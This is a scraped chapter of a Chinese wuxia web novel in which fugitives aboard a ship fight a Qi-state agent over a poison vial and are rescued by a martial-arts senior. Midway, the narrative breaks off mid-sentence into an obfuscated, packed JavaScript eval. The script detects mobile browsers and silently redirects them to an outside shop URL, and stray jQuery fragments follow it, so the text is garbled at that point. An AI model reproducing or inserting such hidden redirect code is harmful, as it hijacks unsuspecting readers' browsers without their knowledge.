郑怀盈将面纱往鼻梁上提了提,扶着重伤的刘疏简迈上船梯。寒风凛冽,水雾夹着狂风裹得衣袍乱飞,吹得刘疏简几乎站立不稳。
郑怀盈谨慎地打量着船上,甲板似空无一人,船身随着江水和冰刃摇晃,安静得反常。
两人刚踏上甲板,身后的木梯吱呀作响缓缓升起,船身悠悠驶离江畔。郑怀盈心底直发毛,转身望向船舱,不由被吓了一跳。
船舱门口,四位黑衣护卫一字排开,不声不响地隐在暗处,正紧紧盯着甲板上的郑怀盈二人。
方才半点呼吸声都没听到,这几人也是高手。郑怀盈的心被揪紧,目光落在强撑着挺直腰背的刘疏简身上,飞快地盘算着怎么逃跑最容易成功。
她正犹豫着,手间却蓦地一暖,被刘疏简牢牢握住。他拉起郑怀盈,不露声色地大步向船舱走去。
几位护卫沉默地让出一条通路,目光却紧随着郑怀盈和刘疏简,手一刻未曾离开腰间的宽刀。刘疏简双手推开大门,抬脚迈入昏暗的船舱。
船舱内有五间客房,二人边走边观察,见只有最中间那间隐约透着亮光。郑怀盈抬手敲了敲屋门,忐忑地等候回应。
“请进。”屋内传来清雅的声音,似是位年轻男子。郑怀盈和刘疏简对视一眼,攥紧腰间的铁鞭推门而入。这物件虽然他们不会使,但既然是那帮人的兵器,还是要带着装装样子。
屋内烛光柔和,一位身穿白底金纹长袍的少年男子端坐在桌案后侧。他墨发高束,眉目俊朗,笑意盈盈地看向来人。
郑怀盈呼吸一滞,对他的身份略微猜到几分。是齐国点叶峰的大弟子,亦是齐国暗探的分管事之一,江湖号称追命小郎君的谢公子。
她和刘疏简绝非此人的对手,但既然都走到这一步了,左右也没别的活路可选。郑怀盈坐到他的对面,从怀中掏出那封书信,连同小药瓶一起递给对方。
刘疏简在旁边补充道:“这是我二人从知府处得来的情报,还请郎君过目。”
谢小郎君拿起信封,对着光慢条斯理地检查了封纸,又小心沿封口撕开。他抽出信纸随意扔在一旁,将信封往下倾倒,一枚铜制钥匙“叮”的一声掉在桌面上。
怎么是把钥匙?会是哪里的钥匙?郑怀盈双手攥紧,紧张地盯着桌上的钥匙,恨不得马上抢了就跑。刘疏简则将小药瓶朝谢小郎君推了推,谄媚道:“您再看看这个。”
谢小郎君拿过药瓶,只见药瓶玲珑小巧,通身刻着繁复的花纹,不禁赞叹道:“还真拿到了断红尘,你们两个也算大功一件。”
断红尘!刘疏简大骇,他们二人自是知晓皇帝一直在追查这物件的下落,却不想竟在这里出现了。
决不能让断红尘落在谢小郎君手里,否则船到了齐国境内,再想追查可就难了!郑怀盈再也按捺不住,噌地站起身,朝谢小郎君手中的药瓶抢去。
谢小郎君怔愣一瞬,很快反应过来,飞身退至舷窗边。郑怀盈抓了个空,反正已经撕破脸面,便抽出藏在身上的长刀向他砍去。
谢小郎君侧身躲过,刘疏简也拔出佩剑迎上,那谢小郎君也不还手,反倒在二人的攻势中游刃有余。
打了一阵,谢小郎君笑道:“你使刀,我也使刀。你的刀法我已经领教过了,平平无奇,现在也让你们瞧瞧我的刀法。”说罢,他在柜旁的刀架上取了沉重的宽刀,挥刀轮向二人。
宽刀势大力沉,带起的劲风掀得烛火乱晃,力如千钧劈向郑怀盈的面门。屋内空间狭小,避无可避,刘疏简扑上前将她带倒,就地一滚,刀刃砍在身后的木柱上,掀起的刀风震碎了刘疏简肩头的衣衫。
青色的外衣已碎,中层玄色的衣袍也刮了个窟窿,透出最里面的鹅黄色半透长裙。谢小郎君不觉目瞪口呆,看着刘疏简露出的香肩,又看了看他健硕的身形,骂道:“你穿的这是什么?”
“我就喜欢这样穿,你也要管?”刘疏简一看好机会,趁谢小郎君呆愣的功夫,拎起郑怀盈踹门就逃。
跑进昏暗的船舱,刘疏简飞快地思考着,不能从门口走,外面还有四个高手。不能耽搁的时间太长,谢小郎君马上就追出来。来不及多想了,他赶忙带着郑怀盈匆匆向船尾跑去。
郑怀盈和刘疏简一路逃至船尾,那谢小郎君还未跟过来,两人不觉松了口气。低头望去,暗涌的江面波光粼粼,其中混杂冰碴的碎光看得人遍体生寒。
郑怀盈低声问刘疏简:“跳吗?下面都是冰凌,不一定能活命。”
“那也比落在谢小郎君手里强。”刘疏简正说着,脸色却蓦地变了,紧紧拉住郑怀盈的手臂。
只见月光下,原本还能称得上平静的水面逐渐泛起细纹,一圈圈向这边扩散,水下隐约有黑影浮现,正向这边靠近。
“难道是山庄派来的救兵?”
“你想什么呢,怎么可能。”
“那就是埋伏,不能让他们上岸!”郑怀盈不再犹豫,拿着刀往水里乱戳。
刘疏简如法炮制,也拿剑在水里乱戳。两个人一前一后戳的正起劲,水下的人不知用了什么邪术,竟是牢牢扒在船底,怎么都甩不掉。
郑怀盈和刘疏简一刻都不敢停手,在水里划得十分卖力,水下之人有些不耐烦了,一道长练如飞线窜出水面,正中二人的面门。
“别过来!”郑怀盈挣扎着爬起,捡起长刀飞身立上船尾。刘疏简本就身受重伤,皮开肉绽的脊背撞在船板上,痛得他眼前阵阵发黑。
横竖都是一死,郑怀盈豁出去了,扣紧船沿就要下水开打。还不等她动作,刀身就被牢牢缠住,郑怀盈对着月光一看,只见裹住刀背的分明是一条熟悉的红绸。
红绸猛地一拽,郑怀盈的长刀脱手而出。她慌忙朝水底喊道:“祝师兄,是我!”
水下的动静停住了,两道身影破水而出,翻身登
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248997|197910||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上船板。听到郑怀盈的话,刘疏简也侧头往声音传来的地方看去。
船尾新来的两个人似落汤鸡一般,湿淋淋的站在那里。祝失的脸上和身上都是冰凌划出的细小血痕,身形狼狈,正黑着脸看向一旁的郑怀盈和刘疏简。
祝失身边站着一个眼熟的小姑娘,在寒风中冻的浑身发抖,眼眸却神采奕奕,四处打量着这艘木船。
郑怀盈尴尬地笑道:“这不是大水冲了龙王庙,我真不知是祝师兄你……”眼看祝失的头顶还在气的不停冒烟,她又上前拉住季倾的胳膊求饶。
“砰”的一声巨响,身后的船舱后门被一脚踢开。谢小郎君背着手悠悠走出,清风霁月俊秀出尘,笑着问:“已经半刻钟了,遗言说完了没有?”
话音刚落,他注意到一旁浑身滴水的季倾和祝失,略一扬眉有些惊讶道:“还找了两个救兵?”
郑怀盈扶起地上的刘疏简,缩着头躲在祝失身后。季倾也很自觉地躲在祝失身后,三个人还在背后探头探脑地瞪着谢小郎君。
谢小郎君拍拍手,守在前门的四位守卫默然而至。他摊开双手退至人群后方,语气中带着肆意:“我们也不一起上了,免得说我们欺负人。这样,我的手下一个一个上,看看你们这些残废能撑到几时。”
“哎,你这人怎么说话的?”郑怀盈在后面气不打一出来。还不等众人骂完,第一个守卫随风而动,瞬间闪至祝失身前。
好快的身法!祝失后面躲着的三个人被吓得一抖,纷纷拽紧了身前人的衣摆。祝失袖中红绸飞出,挽住守卫手中的宽刀。他脚下不停,正要跃起——却被重重按在地上。
祝失回头一看,只见三人像老鹰捉小鸡似的将他死死拽住,行动受限动弹不得。祝失气的倒仰,咬牙低声说:“都松开。”
“我不!师兄你就这样打吧。”众人亦小声恳求。
“你们……”祝失正要叫骂,另一名守卫提刀又至。祝失一个大幅度旋身堪堪躲过,气的后面的刘疏简探头叫道:“不是说好一个一个来的吗?”
谢小郎君歪头一笑:“他们不听我的,能怎么办。”
“你这人不讲信用!”
其他两名守卫不知何时转到了众人身后,一左一右抬刀便刺。郑怀盈率先发现异常,大声叫嚷起来。众人围着祝失转了几圈,发觉前后左右都有守卫,避无可避。
“跟他们拼了!”郑怀盈握紧长刀,从刘疏简和季倾中间抽身出来。刘疏简紧跟着她拔出佩剑,又自腰间掏出铁鞭抛给季倾:“师妹,用的时候看准点,别抽到自己人。”
没了身后众人的桎梏,祝失脚下飞扫跃至船尾的桅杆,踏着杆身一路翻至顶稍。他站在绑船帆的粗轧麻绳上,右手紧扶着桅杆,左手挽动红绸卷上一名守卫的腰侧。
那守卫挥刀砍向腰间的红绸,那红绸看似柔软却韧得割不断,刀刃砍在其上,竟发出金铁交鸣的震响。